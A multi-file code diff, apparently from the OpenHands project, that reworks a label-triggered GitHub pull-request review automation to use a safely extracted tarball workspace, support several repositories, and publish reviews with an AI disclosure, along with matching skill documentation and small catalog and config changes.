| return _checkouts_root() / _repo_slug(repo) / f"pr-{pr_number}-{head_sha[:12]}" | ||
| def _prepare_repository(token: str, repo: str, pr_number: int, head_sha: str) -> Path: | ||
| """Materialise the pull request's head commit as the agent's workspace. | ||
| The commit is fetched as a tarball rather than cloned, so the directory | ||
| holds exactly the reviewed tree with no history and no git remote for the | ||
| agent to push to. | ||
| """ | ||
| checkout = _checkout_path(repo, pr_number, head_sha) | ||
| if checkout.exists(): | ||
| shutil.rmtree(checkout) | ||
| checkout.mkdir(parents=True) | ||
| req = urllib.request.Request( | ||
| f"https://api.github.com/repos/{repo}/tarball/{head_sha}", | ||
| headers={ | ||
| "Authorization": f"Bearer {token}", | ||
| "Accept": "application/vnd.github+json", | ||
| "X-GitHub-Api-Version": "2022-11-28", | ||
| }, | ||
| ) | ||
| skipped_links = 0 | ||
| try: | ||
| with urllib.request.urlopen(req) as response: | ||
| archive = tarfile.open(fileobj=io.BytesIO(response.read()), mode="r:gz") | ||
| with archive: | ||
| members = archive.getmembers() | ||
| roots = { | ||
| PurePosixPath(member.name).parts[0] | ||
| for member in members | ||
| if PurePosixPath(member.name).parts | ||
| } | ||
| if len(roots) != 1: | ||
| raise RuntimeError("Repository archive has an unexpected layout") | ||
| root = next(iter(roots)) | ||
| for member in members: | ||
| path = PurePosixPath(member.name) | ||
| if not path.parts or path.parts[0] != root: | ||
| raise RuntimeError("Repository archive contains an invalid path") | ||
| relative = PurePosixPath(*path.parts[1:]) | ||
| if not relative.parts: | ||
| continue | ||
| if relative.is_absolute() or ".." in relative.parts: | ||
| raise RuntimeError("Repository archive contains path traversal") | ||
| if member.issym() or member.islnk() or member.isdev(): | ||
| # Repositories legitimately contain symlinks. Reviewing does | ||
| # not need them, and materialising them risks escaping the | ||
| # checkout, so skip rather than reject the whole archive. | ||
| skipped_links += 1 | ||
| continue | ||
| destination = checkout.joinpath(*relative.parts) | ||
| if member.isdir(): | ||
| destination.mkdir(parents=True, exist_ok=True) | ||
| continue | ||
| if not member.isfile(): | ||
| continue | ||
| destination.parent.mkdir(parents=True, exist_ok=True) | ||
| source = archive.extractfile(member) | ||
| if source is None: | ||
| raise RuntimeError(f"Could not read archive member {member.name}") | ||
| with source, destination.open("wb") as target: | ||
| shutil.copyfileobj(source, target) | ||
| destination.chmod(member.mode & 0o777) | ||
| except Exception: | ||
| shutil.rmtree(checkout, ignore_errors=True) | ||
| raise | ||
| if skipped_links: | ||
| print(f" Skipped {skipped_links} link/device entries while extracting") | ||
| return checkout | ||
| def _release_checkout(rec: dict, agent_url: str, api_key: str) -> bool: | ||
| """Remove a finished review's checkout. Returns True when nothing is left. | ||
| The checkout is the conversation's working directory, so it is only removed | ||
| once the conversation has stopped - deleting it under a running agent would | ||
| pull the ground out from under it. When the status cannot be confirmed the | ||
| directory is left alone and the next poll tries again. | ||
| """ | ||
| workspace_dir = rec.get("workspace_dir") | ||
| if not workspace_dir: | ||
| return True | ||
| conversation_id = rec.get("conversation_id") | ||
| if conversation_id: | ||
| try: | ||
| status = conversation_status(agent_url, api_key, conversation_id) | ||
| except urllib.error.HTTPError as exc: | ||
| status = "finished" if exc.code == 404 else None | ||
| except Exception: | ||
| status = None | ||
| if status is None: | ||
| print(f" Could not confirm conversation {conversation_id} has stopped; keeping {workspace_dir}") | ||
| return False | ||
| if status not in TERMINAL_STATUSES: | ||
| print(f" Conversation {conversation_id} is still '{status}'; keeping its checkout") | ||
| return False | ||
| path = Path(workspace_dir) | ||
| root = _checkouts_root() | ||
| try: | ||
| resolved = path.resolve() | ||
| except OSError: | ||
| resolved = path | ||
| if resolved == root or not resolved.is_relative_to(root): | ||
| # Never delete anything the script did not create under the checkout | ||
| # root, whatever ended up recorded in state. | ||
| print(f" Refusing to remove {resolved}: outside {root}") | ||
| rec.pop("workspace_dir", None) | ||
| return True | ||
| shutil.rmtree(resolved, ignore_errors=True) | ||
| rec.pop("workspace_dir", None) | ||
| print(f" Removed checkout {resolved}") | ||
| return True | ||
| def _oh_request(agent_url: str, api_key: str, method: str, path: str, body: dict | None = None) -> dict: | ||
@@ -359,6 +681,10 @@ url = f"{agent_url}{path}" | ||
| def create_conversation(agent_url: str, api_key: str, initial_message: str) -> str: | ||
| workspace_dir = os.environ.get("WORKSPACE_BASE", "/workspace") | ||
| def create_conversation( | ||
| agent_url: str, | ||
| api_key: str, | ||
| initial_message: str, | ||
| workspace_dir: Path, | ||
| ) -> str: | ||
| payload: dict = { | ||
| "workspace": {"working_dir": workspace_dir}, | ||
| "workspace": {"working_dir": str(workspace_dir)}, | ||
| "agent": _get_agent_dict(agent_url, api_key), | ||
@@ -428,3 +754,3 @@ "initial_message": {"content": [{"text": initial_message}]}, | ||
| def _build_review_prompt(pr: dict, head_sha: str, label_event: dict) -> str: | ||
| def _build_review_prompt(repo: str, pr: dict, head_sha: str, label_event: dict) -> str: | ||
| number = pr.get("number", "?") | ||
@@ -443,3 +769,2 @@ title = pr.get("title", "(no title)") | ||
| deletions = pr.get("deletions", "?") | ||
| clone_url = f"https://github.com/{REPO}.git" | ||
| tone = _TONE_INSTRUCTIONS.get(REVIEW_TONE, _TONE_INSTRUCTIONS["thorough"]) | ||
@@ -449,7 +774,6 @@ extra = f"\n\nAdditional style instructions:\n{REVIEW_STYLE_INSTRUCTIONS}" if REVIEW_STYLE_INSTRUCTIONS.strip() else "" | ||
| return ( | ||
| "You are an AI code reviewer. Review the GitHub pull request below and write " | ||
| "a single review comment. Do not modify files, push commits, approve via the GitHub " | ||
| "API, or request changes via the review API; only produce the final comment text.\n\n" | ||
| f"Repository : {REPO}\n" | ||
| f"Clone URL : {clone_url}\n" | ||
| "You are an AI code reviewer. Review the GitHub pull request below and publish " | ||
| "the review directly to GitHub. Do not modify files, push commits, or approve " | ||
| "the pull request.\n\n" | ||
| f"Repository : {repo}\n" | ||
| f"PR #{number}: \"{title}\"\n" | ||
@@ -465,19 +789,29 @@ f"Author : @{author}\n" | ||
| "Required workflow:\n" | ||
| "1. Clone the repository into a fresh working directory inside the workspace.\n" | ||
| f" Example: `git clone {clone_url} pr-review-{number}`.\n" | ||
| "2. Check out the exact pull request branch by PR number, then verify HEAD matches the SHA above.\n" | ||
| f" Example: `git fetch origin pull/{number}/head:openhands-pr-{number}` followed by `git checkout openhands-pr-{number}`.\n" | ||
| "3. Inspect the existing PR context before reviewing, including PR description, issue comments, review comments, changed files, and the diff.\n" | ||
| " Prefer `gh pr view`, `gh pr diff`, `gh pr checkout`, or GitHub REST API calls with `GITHUB_PERSONAL_ACCESS_TOKEN`; do not print secret values.\n" | ||
| "4. Use the checked-out repository to inspect relevant files and surrounding code, not just the patch.\n" | ||
| "5. Before producing the final review text, delete only the cloned repository directory created in step 1.\n" | ||
| f" Example: `rm -rf pr-review-{number}`. Do not delete any other files or directories.\n" | ||
| "6. Write a high-signal review comment with specific findings. If there are no material issues, say so.\n" | ||
| "1. The workspace is already the repository root at the exact Head SHA above. " | ||
| "Do not clone, fetch, check out, or delete the repository.\n" | ||
| "2. Inspect the PR discussion, existing review comments, changed files, and the diff, " | ||
| "together with the surrounding code in the workspace.\n" | ||
| " Use `gh` or GitHub REST API calls with `GITHUB_PERSONAL_ACCESS_TOKEN`; never print secret values.\n" | ||
| "3. Ground every finding in the workspace code. Before using an inline location, verify that " | ||
| "the path and line are part of this pull request's diff.\n" | ||
| f"4. Publish one review with `POST /repos/{repo}/pulls/{number}/reviews`, using " | ||
| "`commit_id` equal to the Head SHA above and `event: COMMENT`.\n" | ||
| " Put the overall assessment in `body`, and each line-specific finding in the `comments` " | ||
| "array with `path`, `line`, `side: RIGHT`, and `body`.\n" | ||
| " Only create inline comments for actionable findings; do not open praise or nitpick threads.\n" | ||
| "5. If a finding cannot be attached to a changed line, put it in the review body instead. " | ||
| "If the API rejects the inline positions, retry with every finding in the body and no `comments` array.\n" | ||
| "6. Begin the review body with this disclosure: " | ||
| "`_This review was posted by an AI agent (OpenHands)._`\n" | ||
| "7. End the review body with a verdict on its own line: either `✅ APPROVED` " | ||
| "or `🔄 CHANGES REQUESTED`.\n" | ||
| "8. If there are no material issues, still publish a review saying so, with the " | ||
| "disclosure and the verdict.\n" | ||
| f"\nReview instructions:\n{tone}{extra}\n\n" | ||
| "Output ONLY the review text — no preamble, no meta-commentary. " | ||
| "This text will be posted verbatim as a comment on the pull request. " | ||
| "End your review with a clear verdict on its own line: either `✅ APPROVED` " | ||
| "or `🔄 CHANGES REQUESTED`." | ||
| "After GitHub accepts the review, output exactly `GITHUB_REVIEW_POSTED`. " | ||
| "If publishing still fails after the fallback in step 5, output the complete review text " | ||
| "so it can be posted as a comment instead." | ||
| ) | ||
| def _process_review_request( | ||
@@ -488,5 +822,7 @@ github_token: str, | ||
| openhands_url: str, | ||
| repo: str, | ||
| pr: dict, | ||
| label_event: dict, | ||
| reviews: dict, | ||
| persist: Callable[[], None], | ||
| ) -> str | None: | ||
@@ -501,10 +837,8 @@ number = pr["number"] | ||
| print(f" Queuing review for PR #{number} from `{TRIGGER_LABEL}` event {label_event_id} at {head_sha[:12]}: {title}") | ||
| prompt = _build_review_prompt(pr, head_sha, label_event) | ||
| try: | ||
| conv_id = create_conversation(agent_url, api_key, prompt) | ||
| except Exception as exc: | ||
| print(f" Error creating conversation for PR #{number}: {exc}") | ||
| return None | ||
| # Claim the label event and persist it *before* the slow work below. State | ||
| # is otherwise only written when the repository finishes polling, so a poll | ||
| # starting while this one downloads an archive or spins up a conversation | ||
| # would read no record for this event and review the same commit a second | ||
| # time - two conversations, two "reviewing" comments, two reviews. | ||
| reviews[key] = { | ||
@@ -516,6 +850,33 @@ "pr_number": number, | ||
| "html_url": html_url, | ||
| "status": "active", | ||
| "conversation_id": conv_id, | ||
| "status": "starting", | ||
| "conversation_id": None, | ||
| "workspace_dir": None, | ||
| "last_activity": time.time(), | ||
| } | ||
| persist() | ||
| workspace_dir = None | ||
| try: | ||
| workspace_dir = _prepare_repository(github_token, repo, number, head_sha) | ||
| prompt = _build_review_prompt(repo, pr, head_sha, label_event) | ||
| conv_id = create_conversation(agent_url, api_key, prompt, workspace_dir) | ||
| except Exception as exc: | ||
| # The claim is dropped so the next poll retries this label event. The | ||
| # checkout goes with it rather than being left behind. | ||
| if workspace_dir: | ||
| shutil.rmtree(workspace_dir, ignore_errors=True) | ||
| reviews.pop(key, None) | ||
| persist() | ||
| print(f" Error starting review for PR #{number}: {exc}") | ||
| return None | ||
| reviews[key].update( | ||
| { | ||
| "status": "active", | ||
| "conversation_id": conv_id, | ||
| "workspace_dir": str(workspace_dir), | ||
| "last_activity": time.time(), | ||
| } | ||
| ) | ||
| persist() | ||
| print(f" Created review conversation {conv_id}") | ||
@@ -526,3 +887,3 @@ | ||
| github_token, | ||
| REPO, | ||
| repo, | ||
| number, | ||
@@ -539,2 +900,3 @@ _with_ai_disclosure( | ||
| def _check_conversation_completion( | ||
@@ -546,4 +908,6 @@ rec: dict, | ||
| api_key: str, | ||
| repo: str, | ||
| ) -> None: | ||
| if (time.time() - rec.get("last_activity", 0.0)) < DONE_DEBOUNCE: | ||
| age = time.time() - rec.get("last_activity", 0.0) | ||
| if age < DONE_DEBOUNCE: | ||
| return | ||
@@ -559,2 +923,3 @@ | ||
| print(f" PR #{pr_number} closed/merged — skipping result post") | ||
| _release_checkout(rec, agent_url, api_key) | ||
| return | ||
@@ -567,2 +932,3 @@ | ||
| print(f" PR #{pr_number} advanced to {current_sha[:12]} — suppressing stale review {conv_id}") | ||
| _release_checkout(rec, agent_url, api_key) | ||
| return | ||
@@ -578,2 +944,7 @@ | ||
| if status not in TERMINAL_STATUSES: | ||
| if age > MAX_ACTIVE_AGE: | ||
| rec["status"] = "expired" | ||
| rec["expired_after"] = age | ||
| print(f" Review for PR #{pr_number} still '{status}' after {int(age)}s; abandoning it") | ||
| _release_checkout(rec, agent_url, api_key) | ||
| return | ||
@@ -587,37 +958,58 @@ | ||
| if status in {"error", "stuck"}: | ||
| comment_body = _with_ai_disclosure( | ||
| f"⚠️ **OpenHands PR Reviewer encountered a problem** at commit `{reviewed_sha[:12]}` " | ||
| f"(status: `{status}`).\n\n{final}".strip() | ||
| _post_github_comment( | ||
| github_token, | ||
| repo, | ||
| pr_number, | ||
| _with_ai_disclosure( | ||
| f"⚠️ **OpenHands PR Reviewer encountered a problem** at commit `{reviewed_sha[:12]}` " | ||
| f"(status: `{status}`).\n\n{final}".strip() | ||
| ), | ||
| ) | ||
| elif _matching_review_exists(github_token, repo, pr_number, reviewed_sha): | ||
| print(f" PR #{pr_number}: review confirmed on GitHub at {reviewed_sha[:12]}") | ||
| else: | ||
| comment_body = _with_ai_disclosure( | ||
| final | ||
| or f"✅ **OpenHands completed the review for commit `{reviewed_sha[:12]}`.** No review text was produced." | ||
| # The agent was asked to publish the review itself; it did not, so the | ||
| # work is not lost - post whatever it produced as a comment. | ||
| _post_github_comment( | ||
| github_token, | ||
| repo, | ||
| pr_number, | ||
| _with_ai_disclosure( | ||
| final | ||
| or f"✅ **OpenHands completed the review for commit `{reviewed_sha[:12]}`.** No review text was produced." | ||
| ), | ||
| ) | ||
| print(f" PR #{pr_number}: no review found on GitHub; posted the result as a comment") | ||
| _post_github_comment(github_token, REPO, pr_number, comment_body) | ||
| rec["status"] = "closed" | ||
| rec["completed_at"] = time.time() | ||
| print(f" Posted review for PR #{pr_number} at {reviewed_sha[:12]}") | ||
| _release_checkout(rec, agent_url, api_key) | ||
| def main() -> str | None: | ||
| state = load_state() | ||
| agent_url = os.environ.get("AGENT_SERVER_URL", "").rstrip("/") | ||
| api_key = _get_env_key() | ||
| def _process_repo( | ||
| repo: str, | ||
| github_token: str, | ||
| agent_url: str, | ||
| api_key: str, | ||
| openhands_url: str, | ||
| ) -> str | None: | ||
| """Poll one repository end to end. Its state is loaded and saved here, so a | ||
| failure in another repository cannot discard this one's progress.""" | ||
| print(f"\n=== {repo} ===") | ||
| _verify_repo(github_token, repo) | ||
| github_token = _resolve_github_token() | ||
| _verify_token_and_repo(github_token, REPO) | ||
| try: | ||
| openhands_url = get_secret("OPENHANDS_URL").rstrip("/") or DEFAULT_OPENHANDS_URL | ||
| except Exception: | ||
| openhands_url = DEFAULT_OPENHANDS_URL | ||
| state = load_state(repo) | ||
| reviews: dict = state.setdefault("reviews", {}) | ||
| prs_state: dict = state.setdefault("prs", {}) | ||
| open_prs = _list_open_prs(github_token, REPO) | ||
| def persist() -> None: | ||
| state["version"] = 3 | ||
| state["repo"] = repo | ||
| state["trigger_label"] = TRIGGER_LABEL | ||
| state["updated_at"] = time.time() | ||
| save_state(repo, state) | ||
| open_prs = _list_open_prs(github_token, repo) | ||
| latest_open_prs = {pr["number"]: pr for pr in open_prs} | ||
| print(f"Found {len(open_prs)} open PR(s) in {REPO}") | ||
| print(f" Found {len(open_prs)} open PR(s)") | ||
@@ -643,3 +1035,3 @@ last_conversation_id = None | ||
| fresh_pr = _get_pr(github_token, REPO, number) | ||
| fresh_pr = _get_pr(github_token, repo, number) | ||
| fresh_head_sha = _head_sha(fresh_pr) | ||
@@ -652,3 +1044,3 @@ if fresh_head_sha != head_sha: | ||
| label_event = _latest_trigger_label_event(github_token, REPO, number) | ||
| label_event = _latest_trigger_label_event(github_token, repo, number) | ||
| if not label_event: | ||
@@ -663,18 +1055,63 @@ print(f" PR #{number} has `{TRIGGER_LABEL}` but no matching labeled event; skipping") | ||
| conv_id = _process_review_request(github_token, agent_url, api_key, openhands_url, fresh_pr, label_event, reviews) | ||
| conv_id = _process_review_request( | ||
| github_token, agent_url, api_key, openhands_url, repo, fresh_pr, label_event, reviews, persist | ||
| ) | ||
| if conv_id: | ||
| last_conversation_id = conv_id | ||
| for rec in list(reviews.values()): | ||
| if rec.get("status") != "active": | ||
| for rev_key, rec in list(reviews.items()): | ||
| if rec.get("status") == "starting": | ||
| # A claim this poll made has already moved to "active" or been | ||
| # dropped, so one still sitting here belongs to a poll that died | ||
| # between claiming and creating its conversation. Release it once it | ||
| # is old enough that no live poll could still be working on it, | ||
| # otherwise the label event would never be reviewed. | ||
| age = time.time() - float(rec.get("last_activity") or 0) | ||
| if age > STALLED_CLAIM_SECONDS: | ||
| print(f" Releasing a claim stalled for {int(age)}s: {rev_key}") | ||
| reviews.pop(rev_key, None) | ||
| continue | ||
| _check_conversation_completion(rec, latest_open_prs, github_token, agent_url, api_key) | ||
| if rec.get("status") == "active": | ||
| _check_conversation_completion(rec, latest_open_prs, github_token, agent_url, api_key, repo) | ||
| elif rec.get("workspace_dir"): | ||
| # A checkout whose removal could not be confirmed on an earlier | ||
| # poll, e.g. the agent was still running when its PR was closed. | ||
| _release_checkout(rec, agent_url, api_key) | ||
| state["repo"] = REPO | ||
| state["trigger_label"] = TRIGGER_LABEL | ||
| state["updated_at"] = time.time() | ||
| save_state(state) | ||
| persist() | ||
| return last_conversation_id | ||
| def main() -> str | None: | ||
| agent_url = os.environ.get("AGENT_SERVER_URL", "").rstrip("/") | ||
| api_key = _get_env_key() | ||
| github_token = _resolve_github_token() | ||
| _verify_token(github_token) | ||
| try: | ||
| openhands_url = get_secret("OPENHANDS_URL").rstrip("/") or DEFAULT_OPENHANDS_URL | ||
| except Exception: | ||
| openhands_url = DEFAULT_OPENHANDS_URL | ||
| last_conversation_id = None | ||
| failures = [] | ||
| for configured in REPOS: | ||
| # One repository failing must not stop the others from being polled. | ||
| try: | ||
| repo = normalize_repo(configured) | ||
| conv_id = _process_repo(repo, github_token, agent_url, api_key, openhands_url) | ||
| if conv_id: | ||
| last_conversation_id = conv_id | ||
| except Exception as exc: | ||
| print(f"Error processing {configured}: {exc}") | ||
| failures.append(f"{configured}: {exc}") | ||
| if failures and len(failures) == len(REPOS): | ||
| # Every repository failed, so the run achieved nothing - report it as a | ||
| # failed run rather than a successful no-op. | ||
| raise RuntimeError("; ".join(failures)) | ||
| return last_conversation_id | ||
| if __name__ == "__main__": | ||
@@ -681,0 +1118,0 @@ try: |
@@ -5,5 +5,5 @@ --- | ||
| Create an automation that reviews GitHub pull requests when a configurable | ||
| trigger label is applied. Polls GitHub deterministically, starts one | ||
| OpenHands review conversation per label event, inspects full repository and | ||
| PR context, and posts the final review comment back to GitHub. | ||
| trigger label is applied. Polls one or more repositories deterministically, | ||
| starts one OpenHands review conversation per label event with the pull | ||
| request's head commit already checked out, and publishes the review to GitHub. | ||
| triggers: | ||
@@ -15,11 +15,18 @@ - /pr-reviewer:setup | ||
| Create a cron automation that watches a GitHub repository for pull requests | ||
| with a review trigger label, starts an OpenHands review conversation once per | ||
| label event, and posts the AI review as a GitHub comment. | ||
| Create a cron automation that watches one or more GitHub repositories for pull | ||
| requests with a review trigger label, starts an OpenHands review conversation | ||
| once per label event, and publishes the AI review to GitHub. | ||
| Windows PowerShell equivalents for the setup, packaging, upload, and API-check shell snippets are in `references/windows.md`. | ||
| The automation script is deterministic: PR discovery, label-event tracking, | ||
| state persistence, stale-result suppression, and GitHub comment posting are | ||
| handled in Python. The LLM is invoked only for the review itself. | ||
| state persistence, stale-result suppression, the repository checkout, and its | ||
| removal are all handled in Python. The LLM is invoked only for the review | ||
| itself. | ||
| The script prepares each review's workspace before the agent starts: the pull | ||
| request's head commit is downloaded as a tarball and extracted to a directory of | ||
| its own, which becomes the conversation's working directory. The agent is told | ||
| not to clone, fetch, check out, or delete anything, and the script removes the | ||
| checkout once the conversation has stopped. Nothing accumulates between runs. | ||
| --- | ||
@@ -36,4 +43,10 @@ | ||
| | `GITHUB_PERSONAL_ACCESS_TOKEN` | Classic PAT | `repo` for private repos or `public_repo` for public repos | | ||
| | `GITHUB_PERSONAL_ACCESS_TOKEN` | Fine-grained PAT | Contents: Read, Metadata: Read, Pull requests: Read, Issues: Read and Write | | ||
| | `GITHUB_PERSONAL_ACCESS_TOKEN` | Fine-grained PAT | Contents: Read, Metadata: Read, Pull requests: **Read and Write**, Issues: Read and Write | | ||
| Pull-request **write** access is required because the agent publishes a pull | ||
| request review, not just an issue comment. A token with only Pull requests: Read | ||
| will poll happily and then fail at the point of publishing. | ||
| When several repositories are monitored, the token must cover all of them. | ||
| Check with: | ||
@@ -63,8 +76,9 @@ ```bash | ||
| ### Step 2 - Collect repository | ||
| ### Step 2 - Collect repositories | ||
| Ask: *"Which GitHub repository should be monitored? | ||
| (Format: `owner/repo`, e.g. `myorg/backend`)"* | ||
| Ask: *"Which GitHub repositories should be monitored? | ||
| (Format: `owner/repo`, e.g. `myorg/backend`. List several separated by commas to | ||
| review them all from one automation.)"* | ||
| Validate access: | ||
| Validate access to **each** repository: | ||
| ```bash | ||
@@ -83,4 +97,10 @@ curl -s "https://api.github.com/repos/{owner}/{repo}" \ | ||
| Record `REPO = "{owner}/{repo}"`. | ||
| Record every accepted repository into `REPOS = ["{owner}/{repo}", ...]`. If one | ||
| repository fails the check, say which and ask whether to continue without it. | ||
| Each repository is polled independently and keeps its own state, so pull-request | ||
| numbers never collide between them. The trigger label, tone, and schedule are | ||
| shared by all of them; a repository needing different settings wants its own | ||
| automation. | ||
| ### Step 3 - Collect trigger label | ||
@@ -130,5 +150,11 @@ | ||
| > The script also reads a `config.json` shipped beside it, if there is one, over | ||
| > these constants. That is how the catalog entry | ||
| > (`automations/catalog/github-pr-reviewer/`) configures an unmodified copy, | ||
| > since a declarative host cannot rewrite Python. This setup path substitutes the | ||
| > constants and ships no `config.json`, so the two never collide. | ||
| | Placeholder | Replace with | | ||
| |---|---| | ||
| | `REPO = "owner/repo"` | `REPO = "{owner_repo}"` | | ||
| | `REPOS = ["owner/repo"]` | `REPOS = ["{owner_repo}", ...]` - one entry per repository collected in Step 2 | | ||
| | `TRIGGER_LABEL = "openhands-review"` | `TRIGGER_LABEL = "{trigger_label}"` | | ||
@@ -141,2 +167,3 @@ | `REVIEW_TONE = "thorough"` | `REVIEW_TONE = "{review_tone}"` | | ||
| repository names, labels, or style instructions into Python string literals. | ||
| `json.dumps(list_of_repos)` produces the whole `REPOS` list safely in one step. | ||
@@ -183,10 +210,15 @@ Write the customized script to a temporary build directory: | ||
| -d "{ | ||
| \"name\": \"GitHub PR Reviewer: {owner}/{repo} label {trigger_label}\", | ||
| \"name\": \"GitHub PR Reviewer: {repo_summary} label {trigger_label}\", | ||
| \"trigger\": {\"type\": \"cron\", \"schedule\": \"{cron_schedule}\"}, | ||
| \"tarball_path\": \"$TARBALL_PATH\", | ||
| \"entrypoint\": \"python3 main.py\", | ||
| \"timeout\": 300 | ||
| \"timeout\": 600 | ||
| }" | python3 -m json.tool | ||
| ``` | ||
| Use the single repository as `{repo_summary}` when there is one, and something | ||
| like `3 repos` when there are several. A poll now downloads a tarball per queued | ||
| review, so the timeout allows for that; a run never waits for a review to | ||
| finish, only for it to be started. | ||
| Record the returned `id`. | ||
@@ -201,7 +233,8 @@ | ||
| > - Automation ID: `{id}` | ||
| > - Repository: `{owner}/{repo}` | ||
| > - Repositories: `{owner}/{repo}`, ... (one line each) | ||
| > - Trigger label: `{trigger_label}` | ||
| > - Review tone: `{tone}` | ||
| > - Polling schedule: `{cron_schedule}` | ||
| > - State file: `~/.openhands/workspaces/automation-state/github_pr_reviewer_label_event_{id}.json` | ||
| > - State file per repository: | ||
| > `~/.openhands/workspaces/automation-state/github_pr_reviewer_label_event_{id}_{owner}__{repo}.json` | ||
| > | ||
@@ -211,2 +244,5 @@ > Apply the `{trigger_label}` label to a pull request to queue a review. Each | ||
| > the label. | ||
| > | ||
| > The review is published as a pull request review on the head commit, with | ||
| > inline comments where a finding maps to a changed line. | ||
@@ -217,6 +253,11 @@ --- | ||
| Each cron run executes `main.py`, which: | ||
| Each cron run executes `main.py`, which resolves and validates | ||
| `GITHUB_PERSONAL_ACCESS_TOKEN` once, then processes every repository in `REPOS` | ||
| independently. One repository failing does not stop the others; the run fails | ||
| only if every repository fails. | ||
| 1. Loads state from the JSON file (see `references/state-schema.md`). | ||
| 2. Resolves and validates `GITHUB_PERSONAL_ACCESS_TOKEN` and repository access. | ||
| For each repository: | ||
| 1. Loads that repository's state (see `references/state-schema.md`). | ||
| 2. Verifies repository access. | ||
| 3. Lists open PRs, newest-updated first. | ||
@@ -227,9 +268,14 @@ 4. For each open PR carrying `TRIGGER_LABEL`: | ||
| - Skips the event if it has already been tracked. | ||
| - Starts an OpenHands conversation with a review prompt that includes PR | ||
| metadata, the exact head SHA, label event details, and instructions to | ||
| clone the repo, inspect PR discussion, review comments, changed files, | ||
| diff, and surrounding code. | ||
| - Downloads the PR's head commit as a tarball and extracts it to | ||
| `{WORKSPACE_BASE}/repositories/{owner}__{repo}/pr-{number}-{sha12}`. The | ||
| archive is checked as it is unpacked: a single root, no absolute or `..` | ||
| paths, and symlinks skipped rather than materialised. | ||
| - Starts an OpenHands conversation **whose working directory is that | ||
| checkout**, with a review prompt carrying PR metadata, the exact head SHA, | ||
| and label event details. | ||
| - Posts an acknowledgement comment with the label event, head SHA, and | ||
| conversation link. | ||
| - Records the label-event review in state with `status: "active"`. | ||
| - Records the review in state with `status: "active"` and the checkout path. | ||
| - If the checkout or the conversation cannot be created, the checkout is | ||
| removed and nothing is recorded, so the next poll retries the label event. | ||
| 5. For each active review conversation: | ||
@@ -240,6 +286,15 @@ - Marks it closed without posting if the PR has closed or merged. | ||
| - When the conversation reaches `idle`, `finished`, `error`, or `stuck`, | ||
| posts the agent's final response as a GitHub comment and marks the review | ||
| closed. | ||
| 6. Saves state atomically and fires the completion callback. | ||
| asks GitHub whether a review by the token's own user exists for that head | ||
| SHA. If it does, the review is complete. If it does not, the agent's final | ||
| response is posted as a comment so the work is not lost. | ||
| - Abandons a conversation that has not reached a terminal status within two | ||
| hours, so its checkout can be reclaimed. | ||
| 6. Removes the checkout of every finished review, but only after confirming the | ||
| conversation has stopped - deleting it under a running agent would remove its | ||
| working directory. When that cannot be confirmed the directory is left alone | ||
| and the next poll tries again. | ||
| 7. Saves that repository's state atomically. | ||
| The completion callback fires once for the whole run. | ||
| --- | ||
@@ -253,2 +308,5 @@ | ||
| constants at the top before packaging. | ||
| - **`tests/test_main.py`** - Unit tests for the checkout, its removal, and state | ||
| handling. Run them from the skill root with `python -m pytest tests/` after | ||
| editing the script. | ||
@@ -263,5 +321,9 @@ --- | ||
| | "Bad credentials" in run logs | Token expired | Rotate and update `GITHUB_PERSONAL_ACCESS_TOKEN` | | ||
| | 404 on repo access | Repo name wrong or no access | Re-check `owner/repo` and token permissions | | ||
| | 404 on repo access | Repo name wrong or no access | Re-check the entry in `REPOS` and the token's permissions | | ||
| | One repository is skipped, others work | That repository failed its access check | Read the `=== owner/repo ===` block in the run log | | ||
| | Same PR not reviewed after new commits | Label event was already processed | Remove and re-apply the trigger label | | ||
| | Review result never posts | Conversation still running or stuck | Open the conversation link from the acknowledgement comment | | ||
| | Stale review suppressed | PR head SHA changed while the agent was reviewing | Re-apply the trigger label after the latest commit | | ||
| | Review arrives as a plain comment, not a review | Publishing failed, so the script posted the text as a fallback | Check that the token has Pull requests: Read and Write | | ||
| | Agent reports it cannot clone the repo | Prompt asked it not to; the workspace is already the checkout | No action - the code is at the head SHA in its working directory | | ||
| | Checkouts remain under `repositories/` | Their conversations had not stopped yet | They are removed by a later poll once the conversation is terminal | |
@@ -27,2 +27,4 @@ /** | ||
| category: SkillCategoryId; | ||
| /** `true` when the skill is on for every new workspace. Absent means off. */ | ||
| defaultEnabled?: boolean; | ||
| license?: string; | ||
@@ -33,2 +35,6 @@ compatibility?: string; | ||
| export const SKILLS_CATALOG: SkillCatalogEntry[]; | ||
| /** Names of the entries whose `defaultEnabled` is `true`, in catalog order. */ | ||
| export const DEFAULT_ENABLED_SKILL_NAMES: readonly string[]; | ||
| export default SKILLS_CATALOG; |
@@ -267,4 +267,3 @@ """ | ||
| agent_settings.pop("schema_version", None) | ||
| # Drop mcp_config to avoid MCP connection failures at conversation creation time. | ||
| agent_settings.pop("mcp_config", None) | ||
| mcp_config = agent_settings.pop("mcp_config", None) | ||
| ctx = agent_settings.setdefault("agent_context", {}) | ||
@@ -318,2 +317,5 @@ ctx.update({"load_public_skills": True, "load_user_skills": True, "load_project_skills": True}) | ||
| } | ||
| if mcp_config: | ||
| payload["mcp_config"] = mcp_config | ||
| conv_req = urllib.request.Request( | ||
@@ -320,0 +322,0 @@ f"{agent_url}/api/conversations", |
@@ -199,2 +199,4 @@ --- | ||
| - [`55_persistent_memory.py`](https://github.com/OpenHands/software-agent-sdk/blob/main/examples/01_standalone_sdk/55_persistent_memory.py) | ||
| - [`56_structured_output.py`](https://github.com/OpenHands/software-agent-sdk/blob/main/examples/01_standalone_sdk/56_structured_output.py) | ||
| - [`57_prompt_hooks`](https://github.com/OpenHands/software-agent-sdk/tree/main/examples/01_standalone_sdk/57_prompt_hooks) | ||
@@ -201,0 +203,0 @@ ### [`02_remote_agent_server/`](https://github.com/OpenHands/software-agent-sdk/tree/main/examples/02_remote_agent_server) |
| --- | ||
| name: skill-creator | ||
| description: This skill should be used when the user wants to "create a skill", "write a new skill", "improve skill description", "organize skill content", or needs guidance on skill structure, progressive disclosure, or skill development best practices. | ||
| description: This skill should be used when the user wants to "add a skill", "create a skill", "make a new skill", "write a new skill", "improve skill description", "organize skill content", or needs guidance on skill structure, progressive disclosure, or skill development best practices. Use this (not add-skill) when authoring a new skill from scratch rather than importing one from a GitHub URL. | ||
| --- | ||
@@ -5,0 +5,0 @@ |
@@ -935,3 +935,4 @@ """ | ||
| f"When you are finished, summarise what you did clearly — that summary " | ||
| f"will be posted back to the Slack thread." | ||
| f"will be posted back to the Slack thread. " | ||
